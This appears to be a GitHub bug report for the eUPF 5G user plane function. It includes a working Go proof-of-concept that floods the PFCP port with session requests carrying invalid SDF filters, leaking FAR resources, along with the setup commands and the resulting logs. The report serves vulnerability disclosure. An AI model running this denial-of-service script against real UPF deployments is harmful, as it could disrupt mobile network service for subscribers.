Skip to content

[Bug]: UPF resource exhaustion via partial session creation with invalid SDF filter #633

Open
Open
[Bug]: UPF resource exhaustion via partial session creation with invalid SDF filter#633
Assignees
pirog-spb

Description

@LinZiyuu
LinZiyuu
opened on Nov 15, 2025

Describe the bug
UPF experiences resource exhaustion when processing multiple SessionEstablishmentRequest messages containing invalid SDF filters, leading to FAR/QER resource leakage and potential DoS.

To Reproduce
Steps to reproduce the behavior:

  1. Launch eUPF
sudo docker run -d --privileged --network host \
  -v /sys/fs/bpf:/sys/fs/bpf \
  -v /sys/kernel/debug:/sys/kernel/debug:ro \
  -e UPF_INTERFACE_NAME=lo \
  -e UPF_N3_ADDRESS=127.0.0.1 \
  -e UPF_PFCP_ADDRESS="0.0.0.0:8805" \
  -e UPF_PFCP_NODE_ID=127.0.0.1 \
  -e UPF_API_ADDRESS="0.0.0.0:8080" \
  -e UPF_METRICS_ADDRESS="0.0.0.0:9090" \
  --name eupf ghcr.io/edgecomllc/eupf:main
  1. Start a new go project inside a new folder and create a main.go and paste the code below:
mkdir poc && cd poc
go mod init poc
go get github.com/wmnsk/go-pfcp
  1. Create main.go:
package main

import (
	"log"
	"math/rand"
	"net"
	"time"

	"github.com/wmnsk/go-pfcp/ie"
	"github.com/wmnsk/go-pfcp/message"
)

var rnd = rand.New(rand.NewSource(time.Now().UnixNano()))

func main() {
	pfcpAddr := "127.0.0.1:8805"
	iterations := 2048

	if err := resourceExhaust(pfcpAddr, iterations); err != nil {
		log.Fatalf("resource exhaustion PoC failed: %v", err)
	}
	log.Println("Resource-exhaust PoC finished; check eUPF logs for FAR/QER allocation failures.")
}

func resourceExhaust(pfcpAddr string, iterations int) error {
	conn, err := dialPfcp(pfcpAddr)
	if err != nil {
		return err
	}
	defer conn.Close()

	if _, err := sendAssociation(conn, 1); err != nil {
		return err
	}

	for i := 0; i < iterations; i++ {
		seid := uint64(0x2000 + i)
		req := message.NewSessionEstablishmentRequest(0, 0,
			seid, 1, 0,
			ie.NewNodeID("", "", "exhaust-smf"),
			ie.NewFSEID(seid, net.ParseIP("127.0.0.1"), nil),
			ie.NewCreateFAR(
				ie.NewFARID(1),
				ie.NewApplyAction(2), // FORW
				ie.NewForwardingParameters(
					ie.NewDestinationInterface(ie.DstInterfaceCore),
					ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), "10.200.0.1", "", 0, 0, 0),
				),
			),
			ie.NewCreatePDR(
				// Invalid SDF filter to trigger partial failure while FAR is installed
				ie.NewPDRID(uint16((i%0xfffe)+1)),
				ie.NewPrecedence(255),
				ie.NewPDI(
					ie.NewSourceInterface(ie.SrcInterfaceAccess),
					ie.NewSDFFilter("this is not a valid sdf filter", "", "", "", 0),
				),
				ie.NewFARID(1),
			),
		)
		if err := sendMessage(conn, req); err != nil {
			return err
		}
		time.Sleep(2 * time.Millisecond)
	}
	return nil
}

func dialPfcp(pfcpAddr string) (*net.UDPConn, error) {
	raddr, err := net.ResolveUDPAddr("udp", pfcpAddr)
	if err != nil {
		return nil, err
	}
	return net.DialUDP("udp", nil, raddr)
}

func sendAssociation(conn *net.UDPConn, seq uint32) (message.Message, error) {
	msg := message.NewAssociationSetupRequest(seq,
		ie.NewNodeID("", "", "poc-smf"),
		ie.NewRecoveryTimeStamp(time.Now()),
		ie.NewUPFunctionFeatures(0, 0, 0),
	)
	return sendAndReceive(conn, msg)
}

func sendMessage(conn *net.UDPConn, msg message.Message) error {
	buf := make([]byte, msg.MarshalLen())
	if err := msg.MarshalTo(buf); err != nil {
		return err
	}
	_, err := conn.Write(buf)
	return err
}

func sendAndReceive(conn *net.UDPConn, msg message.Message) (message.Message, error) {
	if err := sendMessage(conn, msg); err != nil {
		return nil, err
	}
	respBuf := make([]byte, 4096)
	_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
	n, _, err := conn.ReadFromUDP(respBuf)
	if err != nil {
		return nil, err
	}
	return message.Parse(respBuf[:n])
}
  1. Run the PoC:
go run main.go
  1. Check eUPF logs for resource allocation failures:
sudo docker logs eupf | grep -i "far\|qer\|allocation\|exhaust"

Expected behavior
The UPF should properly handle partial session creation failures. When PDR creation fails (e.g., due to invalid SDF filter), any resources allocated during the session establishment process (such as FARs) should be properly cleaned up and released, preventing resource exhaustion.

Logs


docker logs --tail 100 eupf
Session Establishment Request:
  CreatePDR ID: 2995 
    FAR ID: 1 
    Source Interface: 0 
    SDF Filter: this is not a valid sdf filter 
  CreateFAR ID: 1 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/13 07:25:39 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
2025/11/13 07:25:39 ERR SDFFilter err: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$
2025/11/13 07:25:39 Matched groups: []
2025/11/13 07:25:39 ERR error extracting PDR info error="SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\\d+) from (any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))? to (assigned|any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))?$"
2025/11/13 07:25:39 WRN Rejecting Session Establishment Request from: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$ (error in applying IEs)
2025/11/13 07:25:39 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/13 07:25:39 INF 
Session Establishment Request:
  CreatePDR ID: 2996 
    FAR ID: 1 
    Source Interface: 0 
    SDF Filter: this is not a valid sdf filter 
  CreateFAR ID: 1 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/13 07:25:39 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
2025/11/13 07:25:39 Matched groups: []
2025/11/13 07:25:39 ERR SDFFilter err: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$
2025/11/13 07:25:39 ERR error extracting PDR info error="SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\\d+) from (any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))? to (assigned|any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))?$"
2025/11/13 07:25:39 WRN Rejecting Session Establishment Request from: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$ (error in applying IEs)
2025/11/13 07:25:39 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/13 07:25:39 INF 
Session Establishment Request:
  CreatePDR ID: 2997 
    FAR ID: 1 
    Source Interface: 0 
    SDF Filter: this is not a valid sdf filter 
  CreateFAR ID: 1 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/13 07:25:39 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
2025/11/13 07:25:39 Matched groups: []
2025/11/13 07:25:39 ERR SDFFilter err: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$
2025/11/13 07:25:39 ERR error extracting PDR info error="SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\\d+) from (any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))? to (assigned|any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))?$"
2025/11/13 07:25:39 WRN Rejecting Session Establishment Request from: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$ (error in applying IEs)
2025/11/13 07:25:39 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/13 07:25:39 INF 
Session Establishment Request:
  CreatePDR ID: 2998 
    FAR ID: 1 
    Source Interface: 0 
    SDF Filter: this is not a valid sdf filter 
  CreateFAR ID: 1 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/13 07:25:39 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
2025/11/13 07:25:39 Matched groups: []
2025/11/13 07:25:39 ERR SDFFilter err: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$
2025/11/13 07:25:39 ERR error extracting PDR info error="SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\\d+) from (any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))? to (assigned|any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))?$"
2025/11/13 07:25:39 WRN Rejecting Session Establishment Request from: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$ (error in applying IEs)
2025/11/13 07:25:39 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/13 07:25:39 INF 
Session Establishment Request:
  CreatePDR ID: 2999 
    FAR ID: 1 
    Source Interface: 0 
    SDF Filter: this is not a valid sdf filter 
  CreateFAR ID: 1 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/13 07:25:39 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
2025/11/13 07:25:39 Matched groups: []
2025/11/13 07:25:39 ERR SDFFilter err: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$
2025/11/13 07:25:39 ERR error extracting PDR info error="SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\\d+) from (any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))? to (assigned|any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))?$"
2025/11/13 07:25:39 WRN Rejecting Session Establishment Request from: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$ (error in applying IEs)
2025/11/13 07:25:39 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/13 07:25:39 INF 
Session Establishment Request:
  CreatePDR ID: 3000 
    FAR ID: 1 
    Source Interface: 0 
    SDF Filter: this is not a valid sdf filter 
  CreateFAR ID: 1 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

2025/11/13 07:25:39 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
2025/11/13 07:25:39 Matched groups: []
2025/11/13 07:25:39 ERR SDFFilter err: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$
2025/11/13 07:25:39 ERR error extracting PDR info error="SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\\d+) from (any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))? to (assigned|any|[\\d.]+|[\\da-fA-F:]+)(?:/(\\d+))?(?: (\\d+|\\d+-\\d+))?$"
2025/11/13 07:25:39 WRN Rejecting Session Establishment Request from: SDF Filter: bad formatting. Should be compatible with regexp: ^permit out (icmp|ip|tcp|udp|\d+) from (any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))? to (assigned|any|[\d.]+|[\da-fA-F:]+)(?:/(\d+))?(?: (\d+|\d+-\d+))?$ (error in applying IEs)

Environment (please complete the following information):

  • OS: Ubuntu 24.04
  • 5GC kind and version: None
  • UPF version: a8d774a

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions